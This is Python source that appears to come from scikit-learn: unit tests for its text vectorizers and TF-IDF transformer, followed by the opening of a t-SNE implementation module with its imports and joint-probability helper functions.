    # because we have given it an incorrect encoding.
    wa = CountVectorizer(ngram_range=(1, 2), encoding='ascii').build_analyzer()
    assert_raises(UnicodeDecodeError, wa, text_bytes)

    ca = CountVectorizer(analyzer='char', ngram_range=(3, 6),
                         encoding='ascii').build_analyzer()
    assert_raises(UnicodeDecodeError, ca, text_bytes)


def test_char_ngram_analyzer():
    cnga = CountVectorizer(analyzer='char', strip_accents='unicode',
                           ngram_range=(3, 6)).build_analyzer()

    text = "J'ai mang\xe9 du kangourou  ce midi, c'\xe9tait pas tr\xeas bon"
    expected = ["j'a", "'ai", 'ai ', 'i m', ' ma']
    assert_equal(cnga(text)[:5], expected)
    expected = ['s tres', ' tres ', 'tres b', 'res bo', 'es bon']
    assert_equal(cnga(text)[-5:], expected)

    text = "This \n\tis a test, really.\n\n I met Harry yesterday"
    expected = ['thi', 'his', 'is ', 's i', ' is']
    assert_equal(cnga(text)[:5], expected)

    expected = [' yeste', 'yester', 'esterd', 'sterda', 'terday']
    assert_equal(cnga(text)[-5:], expected)

    cnga = CountVectorizer(input='file', analyzer='char',
                           ngram_range=(3, 6)).build_analyzer()
    text = StringIO("This is a test with a file-like object!")
    expected = ['thi', 'his', 'is ', 's i', ' is']
    assert_equal(cnga(text)[:5], expected)


def test_char_wb_ngram_analyzer():
    cnga = CountVectorizer(analyzer='char_wb', strip_accents='unicode',
                           ngram_range=(3, 6)).build_analyzer()

    text = "This \n\tis a test, really.\n\n I met Harry yesterday"
    expected = [' th', 'thi', 'his', 'is ', ' thi']
    assert_equal(cnga(text)[:5], expected)

    expected = ['yester', 'esterd', 'sterda', 'terday', 'erday ']
    assert_equal(cnga(text)[-5:], expected)

    cnga = CountVectorizer(input='file', analyzer='char_wb',
                           ngram_range=(3, 6)).build_analyzer()
    text = StringIO("A test with a file-like object!")
    expected = [' a ', ' te', 'tes', 'est', 'st ', ' tes']
    assert_equal(cnga(text)[:6], expected)


def test_countvectorizer_custom_vocabulary():
    vocab = {"pizza": 0, "beer": 1}
    terms = set(vocab.keys())

    # Try a few of the supported types.
    for typ in [dict, list, iter, partial(defaultdict, int)]:
        v = typ(vocab)
        vect = CountVectorizer(vocabulary=v)
        vect.fit(JUNK_FOOD_DOCS)
        if isinstance(v, Mapping):
            assert_equal(vect.vocabulary_, vocab)
        else:
            assert_equal(set(vect.vocabulary_), terms)
        X = vect.transform(JUNK_FOOD_DOCS)
        assert_equal(X.shape[1], len(terms))


def test_countvectorizer_custom_vocabulary_pipeline():
    what_we_like = ["pizza", "beer"]
    pipe = Pipeline([
        ('count', CountVectorizer(vocabulary=what_we_like)),
        ('tfidf', TfidfTransformer())])
    X = pipe.fit_transform(ALL_FOOD_DOCS)
    assert_equal(set(pipe.named_steps['count'].vocabulary_),
                 set(what_we_like))
    assert_equal(X.shape[1], len(what_we_like))


def test_countvectorizer_custom_vocabulary_repeated_indeces():
    vocab = {"pizza": 0, "beer": 0}
    try:
        CountVectorizer(vocabulary=vocab)
    except ValueError as e:
        assert_in("vocabulary contains repeated indices", str(e).lower())


def test_countvectorizer_custom_vocabulary_gap_index():
    vocab = {"pizza": 1, "beer": 2}
    try:
        CountVectorizer(vocabulary=vocab)
    except ValueError as e:
        assert_in("doesn't contain index", str(e).lower())


def test_countvectorizer_stop_words():
    cv = CountVectorizer()
    cv.set_params(stop_words='english')
    assert_equal(cv.get_stop_words(), ENGLISH_STOP_WORDS)
    cv.set_params(stop_words='_bad_str_stop_')
    assert_raises(ValueError, cv.get_stop_words)
    cv.set_params(stop_words='_bad_unicode_stop_')
    assert_raises(ValueError, cv.get_stop_words)
    stoplist = ['some', 'other', 'words']
    cv.set_params(stop_words=stoplist)
    assert_equal(cv.get_stop_words(), set(stoplist))


def test_countvectorizer_empty_vocabulary():
    try:
        vect = CountVectorizer(vocabulary=[])
        vect.fit(["foo"])
        assert False, "we shouldn't get here"
    except ValueError as e:
        assert_in("empty vocabulary", str(e).lower())

    try:
        v = CountVectorizer(max_df=1.0, stop_words="english")
        # fit on stopwords only
        v.fit(["to be or not to be", "and me too", "and so do you"])
        assert False, "we shouldn't get here"
    except ValueError as e:
        assert_in("empty vocabulary", str(e).lower())


def test_fit_countvectorizer_twice():
    cv = CountVectorizer()
    X1 = cv.fit_transform(ALL_FOOD_DOCS[:5])
    X2 = cv.fit_transform(ALL_FOOD_DOCS[5:])
    assert_not_equal(X1.shape[1], X2.shape[1])


def test_tf_idf_smoothing():
    X = [[1, 1, 1],
         [1, 1, 0],
         [1, 0, 0]]
    tr = TfidfTransformer(smooth_idf=True, norm='l2')
    tfidf = tr.fit_transform(X).toarray()
    assert_true((tfidf >= 0).all())

    # check normalization
    assert_array_almost_equal((tfidf ** 2).sum(axis=1), [1., 1., 1.])

    # this is robust to features with only zeros
    X = [[1, 1, 0],
         [1, 1, 0],
         [1, 0, 0]]
    tr = TfidfTransformer(smooth_idf=True, norm='l2')
    tfidf = tr.fit_transform(X).toarray()
    assert_true((tfidf >= 0).all())


def test_tfidf_no_smoothing():
    X = [[1, 1, 1],
         [1, 1, 0],
         [1, 0, 0]]
    tr = TfidfTransformer(smooth_idf=False, norm='l2')
    tfidf = tr.fit_transform(X).toarray()
    assert_true((tfidf >= 0).all())

    # check normalization
    assert_array_almost_equal((tfidf ** 2).sum(axis=1), [1., 1., 1.])

    # the lack of smoothing make IDF fragile in the presence of feature with
    # only zeros
    X = [[1, 1, 0],
         [1, 1, 0],
         [1, 0, 0]]
    tr = TfidfTransformer(smooth_idf=False, norm='l2')

    clean_warning_registry()
    with warnings.catch_warnings(record=True) as w:
        1. / np.array([0.])
        numpy_provides_div0_warning = len(w) == 1

    in_warning_message = 'divide by zero'
    tfidf = assert_warns_message(RuntimeWarning, in_warning_message,
                                 tr.fit_transform, X).toarray()
    if not numpy_provides_div0_warning:
        raise SkipTest("Numpy does not provide div 0 warnings.")


def test_sublinear_tf():
    X = [[1], [2], [3]]
    tr = TfidfTransformer(sublinear_tf=True, use_idf=False, norm=None)
    tfidf = tr.fit_transform(X).toarray()
    assert_equal(tfidf[0], 1)
    assert_greater(tfidf[1], tfidf[0])
    assert_greater(tfidf[2], tfidf[1])
    assert_less(tfidf[1], 2)
    assert_less(tfidf[2], 3)


def test_vectorizer():
    # raw documents as an iterator
    train_data = iter(ALL_FOOD_DOCS[:-1])
    test_data = [ALL_FOOD_DOCS[-1]]
    n_train = len(ALL_FOOD_DOCS) - 1

    # test without vocabulary
    v1 = CountVectorizer(max_df=0.5)
    counts_train = v1.fit_transform(train_data)
    if hasattr(counts_train, 'tocsr'):
        counts_train = counts_train.tocsr()
    assert_equal(counts_train[0, v1.vocabulary_["pizza"]], 2)

    # build a vectorizer v1 with the same vocabulary as the one fitted by v1
    v2 = CountVectorizer(vocabulary=v1.vocabulary_)

    # compare that the two vectorizer give the same output on the test sample
    for v in (v1, v2):
        counts_test = v.transform(test_data)
        if hasattr(counts_test, 'tocsr'):
            counts_test = counts_test.tocsr()

        vocabulary = v.vocabulary_
        assert_equal(counts_test[0, vocabulary["salad"]], 1)
        assert_equal(counts_test[0, vocabulary["tomato"]], 1)
        assert_equal(counts_test[0, vocabulary["water"]], 1)

        # stop word from the fixed list
        assert_false("the" in vocabulary)

        # stop word found automatically by the vectorizer DF thresholding
        # words that are high frequent across the complete corpus are likely
        # to be not informative (either real stop words of extraction
        # artifacts)
        assert_false("copyright" in vocabulary)

        # not present in the sample
        assert_equal(counts_test[0, vocabulary["coke"]], 0)
        assert_equal(counts_test[0, vocabulary["burger"]], 0)
        assert_equal(counts_test[0, vocabulary["beer"]], 0)
        assert_equal(counts_test[0, vocabulary["pizza"]], 0)

    # test tf-idf
    t1 = TfidfTransformer(norm='l1')
    tfidf = t1.fit(counts_train).transform(counts_train).toarray()
    assert_equal(len(t1.idf_), len(v1.vocabulary_))
    assert_equal(tfidf.shape, (n_train, len(v1.vocabulary_)))

    # test tf-idf with new data
    tfidf_test = t1.transform(counts_test).toarray()
    assert_equal(tfidf_test.shape, (len(test_data), len(v1.vocabulary_)))

    # test tf alone
    t2 = TfidfTransformer(norm='l1', use_idf=False)
    tf = t2.fit(counts_train).transform(counts_train).toarray()
    assert_equal(t2.idf_, None)

    # test idf transform with unlearned idf vector
    t3 = TfidfTransformer(use_idf=True)
    assert_raises(ValueError, t3.transform, counts_train)

    # test idf transform with incompatible n_features
    X = [[1, 1, 5],
         [1, 1, 0]]
    t3.fit(X)
    X_incompt = [[1, 3],
                 [1, 3]]
    assert_raises(ValueError, t3.transform, X_incompt)

    # L1-normalized term frequencies sum to one
    assert_array_almost_equal(np.sum(tf, axis=1), [1.0] * n_train)

    # test the direct tfidf vectorizer
    # (equivalent to term count vectorizer + tfidf transformer)
    train_data = iter(ALL_FOOD_DOCS[:-1])
    tv = TfidfVectorizer(norm='l1')

    tv.max_df = v1.max_df
    tfidf2 = tv.fit_transform(train_data).toarray()
    assert_false(tv.fixed_vocabulary_)
    assert_array_almost_equal(tfidf, tfidf2)

    # test the direct tfidf vectorizer with new data
    tfidf_test2 = tv.transform(test_data).toarray()
    assert_array_almost_equal(tfidf_test, tfidf_test2)

    # test transform on unfitted vectorizer with empty vocabulary
    v3 = CountVectorizer(vocabulary=None)
    assert_raises(ValueError, v3.transform, train_data)

    # ascii preprocessor?
    v3.set_params(strip_accents='ascii', lowercase=False)
    assert_equal(v3.build_preprocessor(), strip_accents_ascii)

    # error on bad strip_accents param
    v3.set_params(strip_accents='_gabbledegook_', preprocessor=None)
    assert_raises(ValueError, v3.build_preprocessor)

    # error with bad analyzer type
    v3.set_params = '_invalid_analyzer_type_'
    assert_raises(ValueError, v3.build_analyzer)


def test_tfidf_vectorizer_setters():
    tv = TfidfVectorizer(norm='l2', use_idf=False, smooth_idf=False,
                         sublinear_tf=False)
    tv.norm = 'l1'
    assert_equal(tv._tfidf.norm, 'l1')
    tv.use_idf = True
    assert_true(tv._tfidf.use_idf)
    tv.smooth_idf = True
    assert_true(tv._tfidf.smooth_idf)
    tv.sublinear_tf = True
    assert_true(tv._tfidf.sublinear_tf)


def test_hashing_vectorizer():
    v = HashingVectorizer()
    X = v.transform(ALL_FOOD_DOCS)
    token_nnz = X.nnz
    assert_equal(X.shape, (len(ALL_FOOD_DOCS), v.n_features))
    assert_equal(X.dtype, v.dtype)

    # By default the hashed values receive a random sign and l2 normalization
    # makes the feature values bounded
    assert_true(np.min(X.data) > -1)
    assert_true(np.min(X.data) < 0)
    assert_true(np.max(X.data) > 0)
    assert_true(np.max(X.data) < 1)

    # Check that the rows are normalized
    for i in range(X.shape[0]):
        assert_almost_equal(np.linalg.norm(X[0].data, 2), 1.0)

    # Check vectorization with some non-default parameters
    v = HashingVectorizer(ngram_range=(1, 2), non_negative=True, norm='l1')
    X = v.transform(ALL_FOOD_DOCS)
    assert_equal(X.shape, (len(ALL_FOOD_DOCS), v.n_features))
    assert_equal(X.dtype, v.dtype)

    # ngrams generate more non zeros
    ngrams_nnz = X.nnz
    assert_true(ngrams_nnz > token_nnz)
    assert_true(ngrams_nnz < 2 * token_nnz)

    # makes the feature values bounded
    assert_true(np.min(X.data) > 0)
    assert_true(np.max(X.data) < 1)

    # Check that the rows are normalized
    for i in range(X.shape[0]):
        assert_almost_equal(np.linalg.norm(X[0].data, 1), 1.0)


def test_feature_names():
    cv = CountVectorizer(max_df=0.5)

    # test for Value error on unfitted/empty vocabulary
    assert_raises(ValueError, cv.get_feature_names)

    X = cv.fit_transform(ALL_FOOD_DOCS)
    n_samples, n_features = X.shape
    assert_equal(len(cv.vocabulary_), n_features)

    feature_names = cv.get_feature_names()
    assert_equal(len(feature_names), n_features)
    assert_array_equal(['beer', 'burger', 'celeri', 'coke', 'pizza',
                        'salad', 'sparkling', 'tomato', 'water'],
                       feature_names)

    for idx, name in enumerate(feature_names):
        assert_equal(idx, cv.vocabulary_.get(name))


def test_vectorizer_max_features():
    vec_factories = (
        CountVectorizer,
        TfidfVectorizer,
    )

    expected_vocabulary = set(['burger', 'beer', 'salad', 'pizza'])
    expected_stop_words = set([u'celeri', u'tomato', u'copyright', u'coke',
                               u'sparkling', u'water', u'the'])

    for vec_factory in vec_factories:
        # test bounded number of extracted features
        vectorizer = vec_factory(max_df=0.6, max_features=4)
        vectorizer.fit(ALL_FOOD_DOCS)
        assert_equal(set(vectorizer.vocabulary_), expected_vocabulary)
        assert_equal(vectorizer.stop_words_, expected_stop_words)


def test_count_vectorizer_max_features():
    # Regression test: max_features didn't work correctly in 0.14.

    cv_1 = CountVectorizer(max_features=1)
    cv_3 = CountVectorizer(max_features=3)
    cv_None = CountVectorizer(max_features=None)

    counts_1 = cv_1.fit_transform(JUNK_FOOD_DOCS).sum(axis=0)
    counts_3 = cv_3.fit_transform(JUNK_FOOD_DOCS).sum(axis=0)
    counts_None = cv_None.fit_transform(JUNK_FOOD_DOCS).sum(axis=0)

    features_1 = cv_1.get_feature_names()
    features_3 = cv_3.get_feature_names()
    features_None = cv_None.get_feature_names()

    # The most common feature is "the", with frequency 7.
    assert_equal(7, counts_1.max())
    assert_equal(7, counts_3.max())
    assert_equal(7, counts_None.max())

    # The most common feature should be the same
    assert_equal("the", features_1[np.argmax(counts_1)])
    assert_equal("the", features_3[np.argmax(counts_3)])
    assert_equal("the", features_None[np.argmax(counts_None)])


def test_vectorizer_max_df():
    test_data = ['abc', 'dea', 'eat']
    vect = CountVectorizer(analyzer='char', max_df=1.0)
    vect.fit(test_data)
    assert_true('a' in vect.vocabulary_.keys())
    assert_equal(len(vect.vocabulary_.keys()), 6)
    assert_equal(len(vect.stop_words_), 0)

    vect.max_df = 0.5  # 0.5 * 3 documents -> max_doc_count == 1.5
    vect.fit(test_data)
    assert_true('a' not in vect.vocabulary_.keys())  # {ae} ignored
    assert_equal(len(vect.vocabulary_.keys()), 4)    # {bcdt} remain
    assert_true('a' in vect.stop_words_)
    assert_equal(len(vect.stop_words_), 2)

    vect.max_df = 1
    vect.fit(test_data)
    assert_true('a' not in vect.vocabulary_.keys())  # {ae} ignored
    assert_equal(len(vect.vocabulary_.keys()), 4)    # {bcdt} remain
    assert_true('a' in vect.stop_words_)
    assert_equal(len(vect.stop_words_), 2)


def test_vectorizer_min_df():
    test_data = ['abc', 'dea', 'eat']
    vect = CountVectorizer(analyzer='char', min_df=1)
    vect.fit(test_data)
    assert_true('a' in vect.vocabulary_.keys())
    assert_equal(len(vect.vocabulary_.keys()), 6)
    assert_equal(len(vect.stop_words_), 0)

    vect.min_df = 2
    vect.fit(test_data)
    assert_true('c' not in vect.vocabulary_.keys())  # {bcdt} ignored
    assert_equal(len(vect.vocabulary_.keys()), 2)    # {ae} remain
    assert_true('c' in vect.stop_words_)
    assert_equal(len(vect.stop_words_), 4)

    vect.min_df = 0.8  # 0.8 * 3 documents -> min_doc_count == 2.4
    vect.fit(test_data)
    assert_true('c' not in vect.vocabulary_.keys())  # {bcdet} ignored
    assert_equal(len(vect.vocabulary_.keys()), 1)    # {a} remains
    assert_true('c' in vect.stop_words_)
    assert_equal(len(vect.stop_words_), 5)


def test_count_binary_occurrences():
    # by default multiple occurrences are counted as longs
    test_data = ['aaabc', 'abbde']
    vect = CountVectorizer(analyzer='char', max_df=1.0)
    X = vect.fit_transform(test_data).toarray()
    assert_array_equal(['a', 'b', 'c', 'd', 'e'], vect.get_feature_names())
    assert_array_equal([[3, 1, 1, 0, 0],
                        [1, 2, 0, 1, 1]], X)

    # using boolean features, we can fetch the binary occurrence info
    # instead.
    vect = CountVectorizer(analyzer='char', max_df=1.0, binary=True)
    X = vect.fit_transform(test_data).toarray()
    assert_array_equal([[1, 1, 1, 0, 0],
                        [1, 1, 0, 1, 1]], X)

    # check the ability to change the dtype
    vect = CountVectorizer(analyzer='char', max_df=1.0,
                           binary=True, dtype=np.float32)
    X_sparse = vect.fit_transform(test_data)
    assert_equal(X_sparse.dtype, np.float32)


def test_hashed_binary_occurrences():
    # by default multiple occurrences are counted as longs
    test_data = ['aaabc', 'abbde']
    vect = HashingVectorizer(analyzer='char', non_negative=True,
                             norm=None)
    X = vect.transform(test_data)
    assert_equal(np.max(X[0:1].data), 3)
    assert_equal(np.max(X[1:2].data), 2)
    assert_equal(X.dtype, np.float64)

    # using boolean features, we can fetch the binary occurrence info
    # instead.
    vect = HashingVectorizer(analyzer='char', non_negative=True, binary=True,
                             norm=None)
    X = vect.transform(test_data)
    assert_equal(np.max(X.data), 1)
    assert_equal(X.dtype, np.float64)

    # check the ability to change the dtype
    vect = HashingVectorizer(analyzer='char', non_negative=True, binary=True,
                             norm=None, dtype=np.float64)
    X = vect.transform(test_data)
    assert_equal(X.dtype, np.float64)


def test_vectorizer_inverse_transform():
    # raw documents
    data = ALL_FOOD_DOCS
    for vectorizer in (TfidfVectorizer(), CountVectorizer()):
        transformed_data = vectorizer.fit_transform(data)
        inversed_data = vectorizer.inverse_transform(transformed_data)
        analyze = vectorizer.build_analyzer()
        for doc, inversed_terms in zip(data, inversed_data):
            terms = np.sort(np.unique(analyze(doc)))
            inversed_terms = np.sort(np.unique(inversed_terms))
            assert_array_equal(terms, inversed_terms)

        # Test that inverse_transform also works with numpy arrays
        transformed_data = transformed_data.toarray()
        inversed_data2 = vectorizer.inverse_transform(transformed_data)
        for terms, terms2 in zip(inversed_data, inversed_data2):
            assert_array_equal(np.sort(terms), np.sort(terms2))


def test_count_vectorizer_pipeline_grid_selection():
    # raw documents
    data = JUNK_FOOD_DOCS + NOTJUNK_FOOD_DOCS

    # label junk food as -1, the others as +1
    target = [-1] * len(JUNK_FOOD_DOCS) + [1] * len(NOTJUNK_FOOD_DOCS)

    # split the dataset for model development and final evaluation
    train_data, test_data, target_train, target_test = train_test_split(
        data, target, test_size=.2, random_state=0)

    pipeline = Pipeline([('vect', CountVectorizer()),
                         ('svc', LinearSVC())])

    parameters = {
        'vect__ngram_range': [(1, 1), (1, 2)],
        'svc__loss': ('hinge', 'squared_hinge')
    }

    # find the best parameters for both the feature extraction and the
    # classifier
    grid_search = GridSearchCV(pipeline, parameters, n_jobs=1)

    # Check that the best model found by grid search is 100% correct on the
    # held out evaluation set.
    pred = grid_search.fit(train_data, target_train).predict(test_data)
    assert_array_equal(pred, target_test)

    # on this toy dataset bigram representation which is used in the last of
    # the grid_search is considered the best estimator since they all converge
    # to 100% accuracy models
    assert_equal(grid_search.best_score_, 1.0)
    best_vectorizer = grid_search.best_estimator_.named_steps['vect']
    assert_equal(best_vectorizer.ngram_range, (1, 1))


def test_vectorizer_pipeline_grid_selection():
    # raw documents
    data = JUNK_FOOD_DOCS + NOTJUNK_FOOD_DOCS

    # label junk food as -1, the others as +1
    target = [-1] * len(JUNK_FOOD_DOCS) + [1] * len(NOTJUNK_FOOD_DOCS)

    # split the dataset for model development and final evaluation
    train_data, test_data, target_train, target_test = train_test_split(
        data, target, test_size=.1, random_state=0)

    pipeline = Pipeline([('vect', TfidfVectorizer()),
                         ('svc', LinearSVC())])

    parameters = {
        'vect__ngram_range': [(1, 1), (1, 2)],
        'vect__norm': ('l1', 'l2'),
        'svc__loss': ('hinge', 'squared_hinge'),
    }

    # find the best parameters for both the feature extraction and the
    # classifier
    grid_search = GridSearchCV(pipeline, parameters, n_jobs=1)

    # Check that the best model found by grid search is 100% correct on the
    # held out evaluation set.
    pred = grid_search.fit(train_data, target_train).predict(test_data)
    assert_array_equal(pred, target_test)

    # on this toy dataset bigram representation which is used in the last of
    # the grid_search is considered the best estimator since they all converge
    # to 100% accuracy models
    assert_equal(grid_search.best_score_, 1.0)
    best_vectorizer = grid_search.best_estimator_.named_steps['vect']
    assert_equal(best_vectorizer.ngram_range, (1, 1))
    assert_equal(best_vectorizer.norm, 'l2')
    assert_false(best_vectorizer.fixed_vocabulary_)


def test_vectorizer_pipeline_cross_validation():
    # raw documents
    data = JUNK_FOOD_DOCS + NOTJUNK_FOOD_DOCS

    # label junk food as -1, the others as +1
    target = [-1] * len(JUNK_FOOD_DOCS) + [1] * len(NOTJUNK_FOOD_DOCS)

    pipeline = Pipeline([('vect', TfidfVectorizer()),
                         ('svc', LinearSVC())])

    cv_scores = cross_val_score(pipeline, data, target, cv=3)
    assert_array_equal(cv_scores, [1., 1., 1.])


def test_vectorizer_unicode():
    # tests that the count vectorizer works with cyrillic.
    document = (
        "\xd0\x9c\xd0\xb0\xd1\x88\xd0\xb8\xd0\xbd\xd0\xbd\xd0\xbe\xd0"
        "\xb5 \xd0\xbe\xd0\xb1\xd1\x83\xd1\x87\xd0\xb5\xd0\xbd\xd0\xb8\xd0"
        "\xb5 \xe2\x80\x94 \xd0\xbe\xd0\xb1\xd1\x88\xd0\xb8\xd1\x80\xd0\xbd"
        "\xd1\x8b\xd0\xb9 \xd0\xbf\xd0\xbe\xd0\xb4\xd1\x80\xd0\xb0\xd0\xb7"
        "\xd0\xb4\xd0\xb5\xd0\xbb \xd0\xb8\xd1\x81\xd0\xba\xd1\x83\xd1\x81"
        "\xd1\x81\xd1\x82\xd0\xb2\xd0\xb5\xd0\xbd\xd0\xbd\xd0\xbe\xd0\xb3"
        "\xd0\xbe \xd0\xb8\xd0\xbd\xd1\x82\xd0\xb5\xd0\xbb\xd0\xbb\xd0"
        "\xb5\xd0\xba\xd1\x82\xd0\xb0, \xd0\xb8\xd0\xb7\xd1\x83\xd1\x87"
        "\xd0\xb0\xd1\x8e\xd1\x89\xd0\xb8\xd0\xb9 \xd0\xbc\xd0\xb5\xd1\x82"
        "\xd0\xbe\xd0\xb4\xd1\x8b \xd0\xbf\xd0\xbe\xd1\x81\xd1\x82\xd1\x80"
        "\xd0\xbe\xd0\xb5\xd0\xbd\xd0\xb8\xd1\x8f \xd0\xb0\xd0\xbb\xd0\xb3"
        "\xd0\xbe\xd1\x80\xd0\xb8\xd1\x82\xd0\xbc\xd0\xbe\xd0\xb2, \xd1\x81"
        "\xd0\xbf\xd0\xbe\xd1\x81\xd0\xbe\xd0\xb1\xd0\xbd\xd1\x8b\xd1\x85 "
        "\xd0\xbe\xd0\xb1\xd1\x83\xd1\x87\xd0\xb0\xd1\x82\xd1\x8c\xd1\x81\xd1"
        "\x8f.")

    vect = CountVectorizer()
    X_counted = vect.fit_transform([document])
    assert_equal(X_counted.shape, (1, 15))

    vect = HashingVectorizer(norm=None, non_negative=True)
    X_hashed = vect.transform([document])
    assert_equal(X_hashed.shape, (1, 2 ** 20))

    # No collisions on such a small dataset
    assert_equal(X_counted.nnz, X_hashed.nnz)

    # When norm is None and non_negative, the tokens are counted up to
    # collisions
    assert_array_equal(np.sort(X_counted.data), np.sort(X_hashed.data))


def test_tfidf_vectorizer_with_fixed_vocabulary():
    # non regression smoke test for inheritance issues
    vocabulary = ['pizza', 'celeri']
    vect = TfidfVectorizer(vocabulary=vocabulary)
    X_1 = vect.fit_transform(ALL_FOOD_DOCS)
    X_2 = vect.transform(ALL_FOOD_DOCS)
    assert_array_almost_equal(X_1.toarray(), X_2.toarray())
    assert_true(vect.fixed_vocabulary_)


def test_pickling_vectorizer():
    instances = [
        HashingVectorizer(),
        HashingVectorizer(norm='l1'),
        HashingVectorizer(binary=True),
        HashingVectorizer(ngram_range=(1, 2)),
        CountVectorizer(),
        CountVectorizer(preprocessor=strip_tags),
        CountVectorizer(analyzer=lazy_analyze),
        CountVectorizer(preprocessor=strip_tags).fit(JUNK_FOOD_DOCS),
        CountVectorizer(strip_accents=strip_eacute).fit(JUNK_FOOD_DOCS),
        TfidfVectorizer(),
        TfidfVectorizer(analyzer=lazy_analyze),
        TfidfVectorizer().fit(JUNK_FOOD_DOCS),
    ]

    for orig in instances:
        s = pickle.dumps(orig)
        copy = pickle.loads(s)
        assert_equal(type(copy), orig.__class__)
        assert_equal(copy.get_params(), orig.get_params())
        assert_array_equal(
            copy.fit_transform(JUNK_FOOD_DOCS).toarray(),
            orig.fit_transform(JUNK_FOOD_DOCS).toarray())


def test_countvectorizer_vocab_sets_when_pickling():
    # ensure that vocabulary of type set is coerced to a list to
    # preserve iteration ordering after deserialization
    rng = np.random.RandomState(0)
    vocab_words = np.array(['beer', 'burger', 'celeri', 'coke', 'pizza',
                            'salad', 'sparkling', 'tomato', 'water'])
    for x in range(0, 100):
        vocab_set = set(choice(vocab_words, size=5, replace=False,
                        random_state=rng))
        cv = CountVectorizer(vocabulary=vocab_set)
        unpickled_cv = pickle.loads(pickle.dumps(cv))
        cv.fit(ALL_FOOD_DOCS)
        unpickled_cv.fit(ALL_FOOD_DOCS)
        assert_equal(cv.get_feature_names(), unpickled_cv.get_feature_names())


def test_countvectorizer_vocab_dicts_when_pickling():
    rng = np.random.RandomState(0)
    vocab_words = np.array(['beer', 'burger', 'celeri', 'coke', 'pizza',
                            'salad', 'sparkling', 'tomato', 'water'])
    for x in range(0, 100):
        vocab_dict = dict()
        words = choice(vocab_words, size=5, replace=False, random_state=rng)
        for y in range(0, 5):
            vocab_dict[words[y]] = y
        cv = CountVectorizer(vocabulary=vocab_dict)
        unpickled_cv = pickle.loads(pickle.dumps(cv))
        cv.fit(ALL_FOOD_DOCS)
        unpickled_cv.fit(ALL_FOOD_DOCS)
        assert_equal(cv.get_feature_names(), unpickled_cv.get_feature_names())


def test_stop_words_removal():
    # Ensure that deleting the stop_words_ attribute doesn't affect transform

    fitted_vectorizers = (
        TfidfVectorizer().fit(JUNK_FOOD_DOCS),
        CountVectorizer(preprocessor=strip_tags).fit(JUNK_FOOD_DOCS),
        CountVectorizer(strip_accents=strip_eacute).fit(JUNK_FOOD_DOCS)
    )

    for vect in fitted_vectorizers:
        vect_transform = vect.transform(JUNK_FOOD_DOCS).toarray()

        vect.stop_words_ = None
        stop_None_transform = vect.transform(JUNK_FOOD_DOCS).toarray()

        delattr(vect, 'stop_words_')
        stop_del_transform = vect.transform(JUNK_FOOD_DOCS).toarray()

        assert_array_equal(stop_None_transform, vect_transform)
        assert_array_equal(stop_del_transform, vect_transform)


def test_pickling_transformer():
    X = CountVectorizer().fit_transform(JUNK_FOOD_DOCS)
    orig = TfidfTransformer().fit(X)
    s = pickle.dumps(orig)
    copy = pickle.loads(s)
    assert_equal(type(copy), orig.__class__)
    assert_array_equal(
        copy.fit_transform(X).toarray(),
        orig.fit_transform(X).toarray())


def test_non_unique_vocab():
    vocab = ['a', 'b', 'c', 'a', 'a']
    vect = CountVectorizer(vocabulary=vocab)
    assert_raises(ValueError, vect.fit, [])


def test_hashingvectorizer_nan_in_docs():
    # np.nan can appear when using pandas to load text fields from a csv file
    # with missing values.
    message = "np.nan is an invalid document, expected byte or unicode string."
    exception = ValueError

    def func():
        hv = HashingVectorizer()
        hv.fit_transform(['hello world', np.nan, 'hello hello'])

    assert_raise_message(exception, message, func)


def test_tfidfvectorizer_binary():
    # Non-regression test: TfidfVectorizer used to ignore its "binary" param.
    v = TfidfVectorizer(binary=True, use_idf=False, norm=None)
    assert_true(v.binary)

    X = v.fit_transform(['hello world', 'hello hello']).toarray()
    assert_array_equal(X.ravel(), [1, 1, 1, 0])
    X2 = v.transform(['hello world', 'hello hello']).toarray()
    assert_array_equal(X2.ravel(), [1, 1, 1, 0])


def test_tfidfvectorizer_export_idf():
    vect = TfidfVectorizer(use_idf=True)
    vect.fit(JUNK_FOOD_DOCS)
    assert_array_almost_equal(vect.idf_, vect._tfidf.idf_)


def test_vectorizer_vocab_clone():
    vect_vocab = TfidfVectorizer(vocabulary=["the"])
    vect_vocab_clone = clone(vect_vocab)
    vect_vocab.fit(ALL_FOOD_DOCS)
    vect_vocab_clone.fit(ALL_FOOD_DOCS)
    assert_equal(vect_vocab_clone.vocabulary_, vect_vocab.vocabulary_)






# Author: Alexander Fabisch  -- <afabisch@informatik.uni-bremen.de>
# Author: Christopher Moody <chrisemoody@gmail.com>
# Author: Nick Travers <nickt@squareup.com>
# License: BSD 3 clause (C) 2014

# This is the exact and Barnes-Hut t-SNE implementation. There are other
# modifications of the algorithm:
# * Fast Optimization for t-SNE:
#   http://cseweb.ucsd.edu/~lvdmaaten/workshops/nips2010/papers/vandermaaten.pdf

import numpy as np
from scipy import linalg
import scipy.sparse as sp
from scipy.spatial.distance import pdist
from scipy.spatial.distance import squareform
from ..neighbors import BallTree
from ..base import BaseEstimator
from ..utils import check_array
from ..utils import check_random_state
from ..utils.extmath import _ravel
from ..decomposition import PCA
from ..metrics.pairwise import pairwise_distances
from . import _utils
from . import _barnes_hut_tsne
from ..utils.fixes import astype


MACHINE_EPSILON = np.finfo(np.double).eps


def _joint_probabilities(distances, desired_perplexity, verbose):
    """Compute joint probabilities p_ij from distances.

    Parameters
    ----------
    distances : array, shape (n_samples * (n_samples-1) / 2,)
        Distances of samples are stored as condensed matrices, i.e.
        we omit the diagonal and duplicate entries and store everything
        in a one-dimensional array.

    desired_perplexity : float
        Desired perplexity of the joint probability distributions.

    verbose : int
        Verbosity level.

    Returns
    -------
    P : array, shape (n_samples * (n_samples-1) / 2,)
        Condensed joint probability matrix.
    """
    # Compute conditional probabilities such that they approximately match
    # the desired perplexity
    distances = astype(distances, np.float32, copy=False)
    conditional_P = _utils._binary_search_perplexity(
        distances, None, desired_perplexity, verbose)
    P = conditional_P + conditional_P.T
    sum_P = np.maximum(np.sum(P), MACHINE_EPSILON)
    P = np.maximum(squareform(P) / sum_P, MACHINE_EPSILON)
    return P


def _joint_probabilities_nn(distances, neighbors, desired_perplexity, verbose):
    """Compute joint probabilities p_ij from distances using just nearest
    neighbors.

    This method is approximately equal to _joint_probabilities. The latter
    is O(N), but limiting the joint probability to nearest neighbors improves
    this substantially to O(uN).

    Parameters
    ----------
    distances : array, shape (n_samples * (n_samples-1) / 2,)
        Distances of samples are stored as condensed matrices, i.e.
        we omit the diagonal and duplicate entries and store everything
        in a one-dimensional array.

    desired_perplexity : float
        Desired perplexity of the joint probability distributions.

    verbose : int
        Verbosity level.

